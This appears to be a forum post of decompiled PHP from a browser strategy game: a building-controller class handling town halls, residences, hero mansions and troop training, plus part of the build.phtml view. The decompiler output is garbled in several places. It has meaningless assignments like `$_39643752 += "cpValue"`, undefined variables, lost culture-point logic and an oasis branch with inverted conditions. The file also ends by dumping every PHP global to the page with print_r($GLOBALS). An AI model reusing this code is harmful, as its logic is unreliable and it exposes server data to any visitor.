    public function handleTownHall( )    {        $buildingMetadata = $this->gameMetadata['items'][$this->buildProperties['building']['item_id']];        $bLevel = $this->buildings[$this->buildingIndex]['level'];        if ( $_GET['k'] == $this->data['update_key'] && !isset( $this->queueModel->tasksInQueue[QS_TOWNHALL_CELEBRATION] ) && !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )        {            if ( intval( $_GET['a'] ) < 1 || 2 < intval( $_GET['a'] ) || intval( $_GET['a'] ) == 1 && $bLevel < $buildingMetadata['celebrations']['small']['level'] || intval( $_GET['a'] ) == 2 && $bLevel < $buildingMetadata['celebrations']['large']['level'] )            {            }            else            {                $key = intval( $_GET['a'] ) == 2 ? "large" : "small";                if ( !$this->isResourcesAvailable( $buildingMetadata['celebrations'][$key]['resources'] ) )                {                }                else                {                    $calcConsume = intval( $buildingMetadata['celebrations'][$key]['time_consume'] / $this->gameSpeed * ( 10 / ( $bLevel + 9 ) ) );                    $newTask = new QueueTask( QS_TOWNHALL_CELEBRATION, $this->player->playerId, $calcConsume );                    $newTask->villageId = $this->data['selected_village_id'];                    $newTask->procParams = intval( $_GET['a'] );                    $newTask->tag = $buildingMetadata['celebrations'][$key]['resources'];                    $this->queueModel->addTask( $newTask );                }            }        }    }
    public function handleResidencePalace( )    {        $this->selectedTabIndex = is_numeric( $_GET['t'] ) && 1 <= intval( $_GET['t'] ) && intval( $_GET['t'] ) <= 3 ? intval( $_GET['t'] ) : 0;        $_bid_ = $this->buildings[$this->buildingIndex]['item_id'];        if ( $this->selectedTabIndex == 0 )        {            if ( isset( $_GET['mc'] ) && !$this->data['is_capital'] && !$this->data['is_special_village'] && $_bid_ == 26 )            {                $this->data['is_capital'] = TRUE;                $m = new BuildModel( );                $m->makeVillageAsCapital( $this->player->playerId, $this->data['selected_village_id'] );                $m->dispose( );            }            $this->childVillagesCount = 0;            if ( trim( $this->data['child_villages_id'] ) != "" )            {                $this->childVillagesCount = sizeof( explode( ",", $this->data['child_villages_id'] ) );            }            $itemId = $this->buildings[$this->buildingIndex]['item_id'];            $buildingLevel = $this->buildings[$this->buildingIndex]['level'];            $this->troopsUpgradeType = QS_TROOP_TRAINING;            $this->_getOnlyMyTroops( );            $this->troopsUpgrade = array( );            $_arr = explode( ",", $this->data['troops_training'] );            foreach ( $_arr as $troopStr )            {                $attack_level = explode( " ", $troopStr );                $defense_level = explode( " ", $troopStr );                $researches_done = explode( " ", $troopStr );                $troopId = explode( " ", $troopStr );                list( $troopId, $researches_done, $defense_level, $attack_level ) = $troopId;                  if ( $researches_done == 1 && $this->_canTrainInBuilding( $troopId, $itemId ) )                {                    $this->troopsUpgrade[] = array( "troopId" => $troopId, "maxNumber" => $this->_getMaxTrainNumber( $troopId, $itemId ), "currentNumber" => $this->_getCurrentNumberFor( $troopId, $itemId ) );                }            }            $this->showBuildingForm = FALSE;            if ( $buildingLevel < 10 || 2 <= $this->childVillagesCount && $_bid_ == 25 || 3 <= $this->childVillagesCount && $_bid_ == 26 || $this->childVillagesCount == 1 && $buildingLevel < 20 && $_bid_ == 25 || $this->childVillagesCount == 1 && $buildingLevel < 15 && $_bid_ == 26 || $this->childVillagesCount == 2 && $buildingLevel < 20 && $_bid_ == 26 )            {                $this->troopsUpgrade = array( );            }            else            {                if ( 1 < sizeof( $this->troopsUpgrade ) )                {                    if ( 1 <= $this->troopsUpgrade[0]['currentNumber'] || 3 <= $this->troopsUpgrade[1]['currentNumber'] )                    {                        $this->troopsUpgrade = array( );                    }                    else                    {                        if ( 0 < $this->troopsUpgrade[1]['currentNumber'] )                        {                            unset( $Var_4224[0] );                        }                    }                }                else if ( 3 <= $this->troopsUpgrade[0]['currentNumber'] )                {                    $this->troopsUpgrade = array( );                }                $this->showBuildingForm = 0 < sizeof( $this->troopsUpgrade );            }            if ( $this->isPost( ) && isset( $_POST['tf'] ) && !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )            {                foreach ( $_POST['tf'] as $troopId => $num )                {                    $num = intval( $num );                    $existsTroop = FALSE;                    foreach ( $this->troopsUpgrade as $troop )                    {                        if ( $troop['troopId'] == $troopId )                        {                            $existsTroop = TRUE;                            break;                            break;                        }                    }                    if ( $num <= 0 || !$existsTroop || $this->_getMaxTrainNumber( $troopId, $itemId ) < $num )                    {                        continue;                    }                    $troopMetadata = $this->gameMetadata['troops'][$troopId];                    $calcConsume = intval( $troopMetadata['training_time_consume'] / $this->gameSpeed * ( 10 / ( $this->buildProperties['building']['level'] + 9 ) ) );                    $newTask = new QueueTask( $this->troopsUpgradeType, $this->player->playerId, $calcConsume );                    $newTask->threads = $num;                    $newTask->villageId = $this->data['selected_village_id'];                    $newTask->buildingId = $this->buildProperties['building']['item_id'];                    $newTask->procParams = $troopId;                    $newTask->tag = $troopMetadata['training_resources'];                    $this->queueModel->addTask( $newTask );                }            }        }        else        {            if ( $this->selectedTabIndex == 1 )            {                $this->neededCpValue = $this->totalCpRate = $this->totalCpValue = 0;                $m = new BuildModel( );                $result = $m->getVillagesCp( $this->data['villages_id'] );                while ( $result->next( ) )                {                    //fix2  part f culture points calculations                     $cpRate = explode( " ", $result->row['cp'] );                    $this->cpValue = explode( " ", $result->row['cp'] );                    list ( $this->cpValue, $cpRate ) = $this->cpValue;                    $_39643752 += "cpValue";                    $_39643848 += "totalCpRate";                    $_39643880 += "totalCpValue";                    $_39643880 += "neededCpValue";                    }                $this->totalCpValue = floor( $this->totalCpValue );                $m->dispose( );            }            else            {                if ( $this->selectedTabIndex == 3 )                {                    $this->childVillages = array( );                    $m = new BuildModel( );                    $result = $m->getChildVillagesFor( trim( $this->data['child_villages_id'] ) );                    while ( $result != NULL && $result->next( ) )                    {                        $this->childVillages[$result->row['id']] = array( "id" => $result->row['id'], "rel_x" => $result->row['rel_x'], "rel_y" => $result->row['rel_y'], "village_name" => $result->row['village_name'], "people_count" => $result->row['people_count'], "creation_date" => $result->row['creation_date'] );                    }                    $m->dispose( );                }            }        }    }
    public function handleHerosMansion( )    {        $this->selectedTabIndex = isset( $_GET['t'] ) && is_numeric( $_GET['t'] ) && intval( $_GET['t'] ) == 1 ? intval( $_GET['t'] ) : 0;        if ( $this->selectedTabIndex == 0 )        {            $this->hasHero = 0 < intval( $this->data['hero_troop_id'] );            $this->troopsUpgradeType = QS_TROOP_TRAINING_HERO;            if ( !$this->hasHero )            {                $this->_getOnlyMyTroops( TRUE );                if ( $_GET['k'] == $this->data['update_key'] && !isset( $this->queueModel->tasksInQueue[$this->troopsUpgradeType] ) && isset( $this->troops[intval( $_GET['a'] )] ) && 0 < $this->troops[intval( $_GET['a'] )] && !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )                {                    $troopId = intval( $_GET['a'] );                    $troopMetadata = $this->gameMetadata['troops'][$troopId];                    $nResources = array( "1" => $troopMetadata['training_resources'][1] * 2, "2" => $troopMetadata['training_resources'][2] * 2, "3" => $troopMetadata['training_resources'][3] * 2, "4" => $troopMetadata['training_resources'][4] * 2 );                    if ( !$this->isResourcesAvailable( $nResources ) )                    {                    }                    else                    {                        $calcConsume = intval( $troopMetadata['training_time_consume'] / $this->gameSpeed * ( 10 / ( $this->buildProperties['building']['level'] + 9 ) ) ) * 12;                        $newTask = new QueueTask( $this->troopsUpgradeType, $this->player->playerId, $calcConsume );                        $newTask->procParams = $troopId." ".$this->data['selected_village_id'];                        $newTask->tag = $nResources;                        $this->queueModel->addTask( $newTask );                    }                }            }            else            {                if ( $this->isPost( ) && isset( $_POST['hname'] ) && trim( $_POST['hname'] ) != "" )                {                    $this->data['hero_name'] = trim( $_POST['hname'] );                    $m = new BuildModel( );                    $m->changeHeroName( $this->player->playerId, $this->data['hero_name'] );                    $m->dispose( );                }            }        }        else        {            if ( $this->selectedTabIndex == 1 )            {                $this->villageOases = array( );                $m = new BuildModel( );                $result = $m->getVillageOases( trim( $this->data['village_oases_id'] ) );                while ( $result != NULL && $result->next( ) )                {                    $this->villageOases[$result->row['id']] = array( "id" => $result->row['id'], "rel_x" => $result->row['rel_x'], "rel_y" => $result->row['rel_y'], "image_num" => $result->row['image_num'], "allegiance_percent" => $result->row['allegiance_percent'] );                }                $m->dispose( );                if ( !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )                {                    $oasisId = intval( $_GET['a'] );                    $newTask = new QueueTask( QS_LEAVEOASIS, $this->player->playerId, floor( 21600 / $this->gameSpeed ) );                    $newTask->villageId = $this->data['selected_village_id'];                    $newTask->buildingId = $oasisId;                    $newTask->procParams = $this->villageOases[$oasisId]['rel_x']." ".$this->villageOases[$oasisId]['rel_y'];                    $this->queueModel->addTask( $newTask );                }                else                {                    if ( isset( $_GET['qid'] ) && 0 < intval( $_GET['qid'] ) )                    {                        $this->queueModel->cancelTask( $this->player->playerId, intval( $_GET['qid'] ) );                    }                }            }        }    }
    public function preRender( )    {        parent::prerender( );         /* if ( isset( $_GET['p'] ) )        {            $_41448384 .= "villagesLinkPostfix";        }        if ( isset( $_GET['vid2'] ) )        {             $this->villagesLinkPostfix .= "&t=".$this->selectedTabIndex;            $_41448784 .= "villagesLinkPostfix";        }         if ( 0 < $this->selectedTabIndex )        {            $this->villagesLinkPostfix .= "&t=".$this->selectedTabIndex;              // $ && _41448984 .= "villagesLinkPostfix";        }     */    }
    public function __getCoordInRange( $map_size, $x )    {        if ( $map_size <= $x )        {            $x -= $map_size;        }        else if ( $x < 0 )        {            $x = $map_size + $x;        }        return $x;    }
    public function __getVillageId( $map_size, $x, $y )    {        return $x * $map_size + ( $y + 1 );    }
    public function _getOnlyMyOuterTroops( )    {        $returnTroops = array( );        if ( trim( $this->data['troops_out_num'] ) != "" )        {            $t_arr = explode( "|", $this->data['troops_out_num'] );            foreach ( $t_arr as $t_str )            {                $t2_arr = explode( ":", $t_str );                $t2_arr = explode( ",", $t2_arr[1] );                foreach ( $t2_arr as $t2_str )                {                    $t = explode( " ", $t2_str );                    if ( $t[1] == 0 - 1 )                    {                        continue;                    }                    if ( isset( $returnTroops[$t[0]] ) )                    {                        $returnTroops += $t[0];                    }                    else                    {                        $returnTroops[$t[0]] = $t[1];                    }                }            }        }        if ( trim( $this->data['troops_out_intrap_num'] ) != "" )        {            $t_arr = explode( "|", $this->data['troops_out_intrap_num'] );            foreach ( $t_arr as $t_str )            {                $t2_arr = explode( ":", $t_str );                $t2_arr = explode( ",", $t2_arr[1] );                foreach ( $t2_arr as $t2_str )                {                    $t = explode( " ", $t2_str );                    if ( $t[1] == 0 - 1 )                    {                        continue;                    }                    if ( isset( $returnTroops[$t[0]] ) )                    {                        $returnTroops += $t[0];                    }                    else                    {                        $returnTroops[$t[0]] = $t[1];                    }                }            }        }        return $returnTroops;    }
    public function _getOnlyMyTroops( $toBeHero = FALSE )    {        $t_arr = explode( "|", $this->data['troops_num'] );        foreach ( $t_arr as $t_str )        {            $t2_arr = explode( ":", $t_str );            if ( $t2_arr[0] == 0 - 1 )            {                $t2_arr = explode( ",", $t2_arr[1] );                foreach ( $t2_arr as $t2_str )                {                    $t = explode( " ", $t2_str );                    if ( $toBeHero && ( $t[0] == 99 || $t[0] == 7 || $t[0] == 8 || $t[0] == 9 || $t[0] == 10 || $t[0] == 17 || $t[0] == 18 || $t[0] == 19 || $t[0] == 20 || $t[0] == 27 || $t[0] == 28 || $t[0] == 29 || $t[0] == 30 || $t[0] == 106 || $t[0] == 107 || $t[0] == 108 || $t[0] == 109 || $t[0] == 57 || $t[0] == 58 || $t[0] == 59 || $t[0] == 60 ) )                    {                        continue;                    }                    if ( isset( $this->troops[$t[0]] ) )                    {                        $this->troops += $t[0];                    }                    else                    {                        $this->troops[$t[0]] = $t[1];                    }                }            }        }        if ( !$toBeHero && !isset( $this->troops[99] ) )        {            $this->troops[99] = 0;        }    }
    public function _getMaxBuildingLevel( $itemId )    {        $result = 0;        foreach ( $this->buildings as $villageBuild )        {            if ( $villageBuild['item_id'] == $itemId && $result < $villageBuild['level'] )            {                $result = $villageBuild['level'];            }        }        return $result;    }
    public function _getCurrentNumberFor( $troopId, $item )    {        $num = 0;        if ( isset( $this->troops[$troopId] ) )        {            $num += $this->troops[$troopId];        }        if ( isset( $this->queueModel->tasksInQueue[$this->troopsUpgradeType][$item], $this->queueModel->tasksInQueue[$this->troopsUpgradeType][$item] ) )        {            $qts = $this->queueModel->tasksInQueue[$this->troopsUpgradeType][$item];            foreach ( $qts as $qt )            {                if ( $qt['proc_params'] == $troopId )                {                    $num += $qt['threads'];                }            }        }        $num += $this->_getTroopCountInTransfer( $troopId, QS_WAR_REINFORCE );        $num += $this->_getTroopCountInTransfer( $troopId, QS_WAR_ATTACK );        $num += $this->_getTroopCountInTransfer( $troopId, QS_WAR_ATTACK_PLUNDER );        $num += $this->_getTroopCountInTransfer( $troopId, QS_WAR_ATTACK_SPY );        $num += $this->_getTroopCountInTransfer( $troopId, QS_CREATEVILLAGE );        $ts = $this->_getOnlyMyOuterTroops( );        if ( isset( $ts[$troopId] ) )        {            $num += $ts[$troopId];        }        return $num;    }
    public function _getTroopCountInTransfer( $troopId, $type )    {        $num = 0;        if ( isset( $this->queueModel->tasksInQueue[$type] ) )        {            $qts = $this->queueModel->tasksInQueue[$type];            foreach ( $qts as $qt )            {                $arr = explode( "|", $qt['proc_params'] );                $arr = explode( ",", $arr[0] );                foreach ( $arr as $arrStr )                {                    $tnum = explode( " ", $arrStr );                    $tid = explode( " ", $arrStr );                    list ( $tid, $tnum ) = $tid;                    if ( $tid == $troopId )                    {                        $num += $tnum;                    }                }            }        }        return $num;    }
    public function _getMaxTrainNumber( $troopId, $item )    {        $max = 0;        $_f = TRUE;        foreach ( $this->gameMetadata['troops'][$troopId]['training_resources'] as $k => $v )        {            $num = floor( $this->resources[$k]['current_value'] / ( $v * $this->buildingTribeFactor ) );            if ( $num < $max || $_f )            {                $_f = FALSE;                $max = $num;            }        }        if ( $troopId == 99 )        {            $buildingMetadata = $this->gameMetadata['items'][$this->buildings[$this->buildingIndex]['item_id']]['levels'][$this->buildProperties['building']['level'] - 1];            $_maxValue = $buildingMetadata['value'] - $this->troops[$troopId];            if ( isset( $this->queueModel->tasksInQueue[$this->troopsUpgradeType][$this->buildProperties['building']['item_id']], $this->queueModel->tasksInQueue[$this->troopsUpgradeType][$this->buildProperties['building']['item_id']] ) )            {                $qts = $this->queueModel->tasksInQueue[$this->troopsUpgradeType][$this->buildProperties['building']['item_id']];                foreach ( $qts as $qt )                {                    if ( $qt['proc_params'] == $troopId )                    {                        $_maxValue -= $qt['threads'];                    }                }            }            if ( $_maxValue < $max )            {                $max = $_maxValue;            }        }        else if ( $item == 25 || $item == 26 )        {            $_maxValue = $troopId == 9 || $troopId == 19 || $troopId == 29 || $troopId == 108 || $troopId == 59 ? 1 : 3;            $_maxValue -= $this->_getCurrentNumberFor( $troopId, $item );            if ( $_maxValue < $max )            {                $max = $_maxValue;            }        }        return $max < 0 ? 0 : $max;    }
    public function _canTrainInBuilding( $troopId, $itemId )    {        foreach ( $this->gameMetadata['troops'][$troopId]['trainer_building'] as $buildingId )        {            if ( $buildingId == $itemId )            {                return TRUE;                break;            }        }        return FALSE;    }
    public function _canDoResearches( $troopId )    {        foreach ( $this->gameMetadata['troops'][$troopId]['pre_requests'] as $req_item_id => $level )        {            $result = FALSE;            foreach ( $this->buildings as $villageBuild )            {                if ( $villageBuild['item_id'] == $req_item_id && $level <= $villageBuild['level'] )                {                    $result = TRUE;                    break;                }            }            if ( !$result )            {                return FALSE;                break;            }        }        return TRUE;    }
    public function getNeededTime( $neededResources )    {        $timeInSeconds = 0;        foreach ( $neededResources as $k => $v )        {            if ( !( $this->resources[$k]['current_value'] < $v ) )            {                continue;            }            else if ( $this->resources[$k]['calc_prod_rate'] <= 0 )            {                return 0 - 1;            }            else            {                $time = ( $v - $this->resources[$k]['current_value'] ) / $this->resources[$k]['calc_prod_rate'];                if ( $timeInSeconds < $time )                {                    $timeInSeconds = $time;                }            }        }        return ceil( $timeInSeconds * 3600 );    }
    public function getActionText4( $neededResources, $url, $text, $queueTaskType, $buildLevel, $troopLevel )    {        if ( isset( $this->queueModel->tasksInQueue[$queueTaskType] ) )        {            return "<span class=\"none\">".buildings_p_plwait."</span>";        }        if ( $buildLevel <= $troopLevel )        {            return "<span class=\"none\">".buildings_p_needmorecapacity."</span>";        }        return !$this->isResourcesAvailable( $neededResources ) ? "<span class=\"none\">".buildings_p_notenoughres."</span>" : "<a class=\"build\" href=\"build.php?id=".$this->buildingIndex."&".$url."&k=".$this->data['update_key']."\">".$text."</a>";    }
    public function getActionText3( $neededResources, $url, $text, $queueTaskType )    {        if ( isset( $this->queueModel->tasksInQueue[$queueTaskType] ) )        {            return "<span class=\"none\">".buildings_p_plwait."</span>";        }        return !$this->isResourcesAvailable( $neededResources ) ? "<span class=\"none\">".buildings_p_notenoughres."</span>" : "<a class=\"build\" href=\"build.php?id=".$this->buildingIndex."&".$url."&k=".$this->data['update_key']."\">".$text."</a>";    }
    public function getActionText2( $neededResources )    {        $needUpgradeType = $this->needMoreUpgrades( $neededResources );        if ( 0 < $needUpgradeType )        {            switch ( $needUpgradeType )            {                case 2 :                    return "<span class=\"none\">".buildings_p_upg1."</span>";                case 3 :                    return "<span class=\"none\">".buildings_p_upg2."</span>";                case 4 :                    return "<span class=\"none\">".buildings_p_upg3."</span>";            }        }        if ( !$this->isResourcesAvailable( $neededResources ) )        {            $neededTime = $this->getNeededTime( $neededResources );            return "<span class=\"none\">".( 0 < $neededTime ? buildings_p_willenoughresat." ".( $neededTime )." ".time_hour_lang : buildings_p_notenoughres2 )."</span>";        }        return "";    }
    public function getActionText( $neededResources, $isField, $upgrade, $item_id )    {        $needUpgradeType = $this->needMoreUpgrades( $neededResources, $item_id );        if ( 0 < $needUpgradeType )        {            switch ( $needUpgradeType )            {                case 1 :                    return "<span class=\"none\">".buildings_p_upg0."</span>";                case 2 :                    return "<span class=\"none\">".buildings_p_upg1."</span>";                case 3 :                    return "<span class=\"none\">".buildings_p_upg2."</span>";                case 4 :                    return "<span class=\"none\">".buildings_p_upg3."</span>";            }        }        else        {            $pageNamePostfix = "2";            $link = "<a class=\"build\" href=\"village2.php?id=".$this->buildingIndex."&b=".$item_id."&k=".$this->data['update_key']."\">".buildings_p_create_newbuild."</a>";            $workerResult = $this->isWorkerBusy( $isField );            return $link.( "" );        }        $neededTime = $this->getNeededTime( $neededResources );        return "<span class=\"none\">".( buildings_p_notenoughres2 )."</span>";    }
    public function _canAcceptOffer( $needResources, $giveResources, $villageId, $onlyForAlliance, $allianceId, $maxTime, $distance )    {        if ( $villageId == $this->data['selected_village_id'] )        {            return 0;        }        if ( !$this->isResourcesAvailable( $giveResources ) )        {            return 1;        }        $needMerchantCount = ceil( ( $giveResources[1] + $giveResources[2] + $giveResources[3] + $giveResources[4] ) / $this->merchantProperty['capacity'] );        if ( $needMerchantCount == 0 || $this->merchantProperty['exits_num'] < $needMerchantCount )        {            return 2;        }        if ( $onlyForAlliance && ( intval( $this->data['alliance_id'] ) == 0 || $allianceId != intval( $this->data['alliance_id'] ) ) )        {            return 3;        }        if ( 0 < $maxTime && $maxTime < $distance / $this->merchantProperty['speed'] )        {            return 4;        }        return 5;    }
    public function getNextLink( )    {        $text = "»";        if ( $this->pageIndex + 1 == $this->pageCount )        {            return $text;        }        $link = "";        if ( 0 < $this->selectedTabIndex )        {            $link .= "t=".$this->selectedTabIndex;        }        if ( $link != "" )        {            $link .= "&";        }        $link .= "p=".( $this->pageIndex + 1 );        $link = "build.php?id=".$this->buildingIndex."&".$link;        return "<a href=\"".$link."\">".$text."</a>";    }
    public function getPreviousLink( )    {        $text = "«";        if ( $this->pageIndex == 0 )        {            return $text;        }        $link = "";        if ( 0 < $this->selectedTabIndex )        {            $link .= "t=".$this->selectedTabIndex;        }        if ( 1 < $this->pageIndex )        {            if ( $link != "" )            {                $link .= "&";            }            $link .= "p=".( $this->pageIndex - 1 );        }        $link = "build.php?id=".$this->buildingIndex."&".$link;        return "<a href=\"".$link."\">".$text."</a>";    }
    public function getResourceGoldExchange( $neededResources, $itemId, $buildingIndex, $multiple = FALSE )    {        if ( $this->data['gold_num'] < $this->gameMetadata['plusTable'][6]['cost'] || 0 < $this->needMoreUpgrades( $neededResources, $itemId ) || $this->isResourcesAvailable( $neededResources ) && !$multiple )        {            return "";        }        $s1 = 0;        $s2 = 0;        $exchangeResource = "";        foreach ( $neededResources as $k => $v )        {            $s1 += $v;            $s2 += $this->resources[$k]['current_value'];            if ( $exchangeResource != "" )            {                $exchangeResource .= "&";            }            $exchangeResource .= "r".$k."=".$v;        }        $canExchange = $s1 <= $s2;        if ( $multiple && $canExchange )        {            $num = floor( $s2 / $s1 );            $exchangeResource = "";            foreach ( $neededResources as $k => $v )            {                if ( $exchangeResource != "" )                {                    $exchangeResource .= "&";                }                $exchangeResource .= "r".$k."=".$v * $num;            }        }        return " | <a href=\"build.php?bid=17&t=3&rid=".$buildingIndex."&".$exchangeResource."\" title=\"".buildings_p_m2m."\"><img class=\"npc".( $canExchange ? "" : "_inactive" )."\" src=\"assets/x.gif\" alt=\"".buildings_p_m2m."\" title=\"".buildings_p_m2m."\"></a>";    }
}
$p = new GPage( );$p->run( );print_r($GLOBALS);?>


And this is decoded of build.phtml


PHP:
<?php/**** @ This file is created by Decodeby.US* @ deZender Public (PHP5 Decompiler)** @    Version            :    1.0.0.0* @    Author            :    Ps2Gamer & Cyko* @    Release on        :    30.05.2011* @    Official site    :    http://decodeby.us**/
require_once( LANG_UI_PATH."build.php" );if ( !$this->buildProperties['emptyPlace'] ){    echo "<div id=\"build\" class=\"gid";    echo $this->buildProperties['building']['item_id'];    echo "\">\r\n\t<a href=\"\" onclick=\"return showManual(4, ";    echo $this->buildProperties['building']['item_id'];    echo ");\" class=\"build_logo\"><img class=\"building g";    echo $this->buildProperties['building']['item_id'];    echo "\" src=\"assets/x.gif\" alt=\"";    echo htmlspecialchars( constant( "item_".$this->buildProperties['building']['item_id'] ) );    echo "\" title=\"";    echo htmlspecialchars( constant( "item_".$this->buildProperties['building']['item_id'] ) );    echo "\"></a>\r\n\t<h1>";    echo constant( "item_".$this->buildProperties['building']['item_id'] );    echo " ";    echo "<s";    echo "pan class=\"level\">";    echo level_lang;    echo " ";    echo $this->buildProperties['building']['level'];    echo "</span></h1>\r\n\t<p class=\"build_desc\"></p>\r\n\t<p>";    echo constant( "item_desc_".$this->buildProperties['building']['item_id'] );    echo "</p>\r\n\t<p></p>\r\n\r\n\t";    if ( 4 < $this->buildProperties['building']['item_id'] && 0 < $this->buildProperties['building']['update_state'] && $this->buildProperties['building']['level'] == 0 )    {        echo "\t<p></p><br/><p></p><p class=\"none\">";        echo LANGUI_BUILD_T1;        echo ".</p><p></p><br/><p></p>\r\n\t";    }    else    {        if ( $this->productionPane )        {            echo "\t<table cellpadding=\"1\" cellspacing=\"1\" id=\"build_value\">\r\n\t\t<tbody>\r\n\t\t\t<tr>\r\n\t\t\t\t<th>";            echo constant( "item_curprod_".$this->buildProperties['building']['item_id'] );            echo ":</th>\r\n\t\t\t\t<td><b>";            echo $this->buildProperties['level']['current_value'];            echo "</b> ";            echo constant( "item_unit_".$this->buildProperties['building']['item_id'] );            echo "</td>\r\n\t\t\t</tr>\r\n\t\t\t";            if ( $this->buildProperties['building']['level'] < $this->buildProperties['maxLevel'] )            {                echo "\t\t\t<tr>\r\n\t\t\t\t<th>";                echo constant( "item_nextprod_".$this->buildProperties['building']['item_id'] );                echo " ";                echo $this->buildProperties['nextLevel'];                echo ":</th>\r\n\t\t\t\t<td><b>";                echo $this->buildProperties['level']['value'];                echo "</b> ";                echo constant( "item_unit_".$this->buildProperties['building']['item_id'] );                echo "</td>\r\n\t\t\t</tr>\r\n\t\t\t";            }            echo "\t\t</tbody>\r\n\t</table>\r\n\t";        }        if ( $this->buildingView != "" )        {            require( VIEW_PATH."buildings/".$this->buildingView.".phtml" );        }    }    echo "\t";    if ( $this->buildProperties['maxLevel'] <= $this->buildProperties['building']['level'] )    {        echo "\t<p class=\"none\">";        echo LANGUI_BUILD_T2;        echo " ";        echo constant( "item_".$this->buildProperties['building']['item_id'] );        echo " ";        echo LANGUI_BUILD_T3;        echo "</p>\r\n\t";    }    else if ( $this->buildProperties['maxLevel'] <= $this->buildProperties['upgradeToLevel'] && 0 < $this->buildProperties['building']['update_state'] )    {        echo "\t<p class=\"none\">";        echo LANGUI_BUILD_T4;        echo " ";        echo constant( "item_".$this->buildProperties['building']['item_id'] );        echo " ";        echo LANGUI_BUILD_T3;        echo "</p>\r\n\t";    }    else    {        echo "\t<p id=\"contract\">\r\n\t\t<b>";        echo LANGUI_BUILD_T5;        echo " </b> ";        echo LANGUI_BUILD_T6;        echo " ";        echo $this->buildProperties['nextLevel'];        echo ":<br>\r\n\t\t<img class=\"r1\" src=\"assets/x.gif\" alt=\"";        echo item_title_1;        echo "\" title=\"";        echo item_title_1;        echo "\">";        echo $this->buildProperties['level']['resources'][1];        echo " | \r\n\t\t<img class=\"r2\" src=\"assets/x.gif\" alt=\"";        echo item_title_2;        echo "\" title=\"";        echo item_title_2;        echo "\">";        echo $this->buildProperties['level']['resources'][2];        echo " | \r\n\t\t<img class=\"r3\" src=\"assets/x.gif\" alt=\"";        echo item_title_3;        echo "\" title=\"";        echo item_title_3;        echo "\">";        echo $this->buildProperties['level']['resources'][3];        echo " | \r\n\t\t<img class=\"r4\" src=\"assets/x.gif\" alt=\"";        echo item_title_4;        echo "\" title=\"";        echo item_title_4;        echo "\">";        echo $this->buildProperties['level']['resources'][4];        echo " | \r\n\t\t<img class=\"r5\" src=\"assets/x.gif\" alt=\"";        echo LANGUI_BUILD_T7;        echo "\" title=\"";        echo LANGUI_BUILD_T7;        echo "\">";        echo $this->buildProperties['level']['people_inc'];        echo " | \r\n\t\t<img class=\"clock\" src=\"assets/x.gif\" alt=\"";        echo text_period_lang;        echo "\" title=\"";        echo text_period_lang;        echo "\">";        echo WebHelper::secondstostring( $this->buildProperties['level']['calc_consume'] );        echo "\t\t";        echo $this->getResourceGoldExchange( $this->buildProperties['level']['resources'], $this->buildProperties['building']['item_id'], $this->buildingIndex );        echo "\t\t<br>";        echo $this->getActionText( $this->buildProperties['level']['resources'], $this->buildProperties['building']['item_id'] <= 4, TRUE, $this->buildProperties['building']['item_id'] );        echo "\t</p>\r\n\t";    }    echo "</div>\r\n";    if ( $this->buildProperties['building']['item_id'] <= 4 )    {        echo $this->getFlashContent( "assets/anm/res/r".$this->buildProperties['building']['item_id'].".swf", 130, 160 );    }}else{    echo "<s";    echo "cript language=\"JavaScript\" type=\"text/javascript\">\r\nfunction showPane(list) {\r\n\tvar build_list = _('build_list_'+list);\r\n\tvar link = _(list+'_link');\r\n\r\n\tif (build_list.className == 'hide') {\r\n\t\tbuild_list.className = '';\t\t\r\n\t\tlink.innerHTML = '";    echo LANGUI_BUILD_T8;    echo "';\r\n\t} else {\r\n\t\tbuild_list.className = 'hide';\r\n\t\tlink.innerHTML = '";    echo LANGUI_BUILD_T9;    echo "';\r\n\t}\r\n}\r\n</script>\r\n<div id=\"build\" class=\"gid0\"><h1>";    echo LANGUI_BUILD_T10;    echo "</h1>\r\n\r\n";    foreach ( $this->newBuilds['available'] as $buildArray )    {        foreach ( $buildArray as $item_id => $build )        {            if ( $this->data['is_special_village'] )            {                do                {                    if ( $_GET['id'] == 25 || $_GET['id'] == 26 || $_GET['id'] == 29 || $_GET['id'] == 30 || $_GET['id'] == 33 )                    {                        if ( !( $item_id != 40 ) )                        {                            break;                        }                        else                        {                            continue;                        }                    }                    if ( !( $item_id == 40 ) )                    {                        break;                    }                    continue;                } while ( 0 );            }            if ( $_GET['id'] == 39 && $item_id != 16 )            {                continue;            }            if ( $_GET['id'] == 40 && $item_id != 31 && $item_id != 32 && $item_id != 33 )            {                continue;            }            if ( $_GET['id'] != 39 && $_GET['id'] != 40 && ( $item_id == 16 || $item_id == 31 || $item_id == 32 || $item_id == 33 ) )            {                continue;            }            $neededResources = $build['levels'][0]['resources'];            echo "<h2>";            echo constant( "item_".$item_id );            echo "</h2>\r\n<table class=\"new_building\" cellpadding=\"1\" cellspacing=\"1\">\r\n\t<tbody>\r\n\t\t<tr>\r\n\t\t\t<td class=\"desc\"><p>";            echo constant( "item_desc_".$item_id );            echo "</p></td>\r\n\t\t\t<td rowspan=\"3\" class=\"bimg\">\r\n\t\t\t\t<a href=\"#\" onclick=\"return showManual(4, ";            echo $item_id;            echo ");\"><img class=\"building g";            echo $item_id;            echo "\" src=\"assets/x.gif\" alt=\"";            echo htmlspecialchars( constant( "item_".$item_id ) );            echo "\" title=\"";            echo htmlspecialchars( constant( "item_".$item_id ) );            echo "\"></a>\r\n\t\t\t</td>\r\n\t\t</tr>\r\n\t\t<tr>\r\n\t\t\t<td class=\"res\">\r\n\t\t\t\t<img class=\"r1\" src=\"assets/x.gif\" alt=\"";            echo item_title_1;            echo "\" title=\"";            echo item_title_1;            echo "\">";            echo $neededResources[1];            echo " | \r\n\t\t\t\t<img class=\"r2\" src=\"assets/x.gif\" alt=\"";            echo item_title_2;            echo "\" title=\"";            echo item_title_2;            echo "\">";            echo $neededResources[2];            echo " | \r\n\t\t\t\t<img class=\"r3\" src=\"assets/x.gif\" alt=\"";            echo item_title_3;            echo "\" title=\"";            echo item_title_3;            echo "\">";            echo $neededResources[3];            echo " | \r\n\t\t\t\t<img class=\"r4\" src=\"assets/x.gif\" alt=\"";            echo item_title_4;            echo "\" title=\"";            echo item_title_4;            echo "\">";            echo $neededResources[4];            echo " | \r\n\t\t\t\t<img class=\"r5\" src=\"assets/x.gif\" alt=\"";            echo LANGUI_BUILD_T7;            echo "\" title=\"";            echo LANGUI_BUILD_T7;            echo "\">";            echo $build['levels'][0]['people_inc'];            echo " | 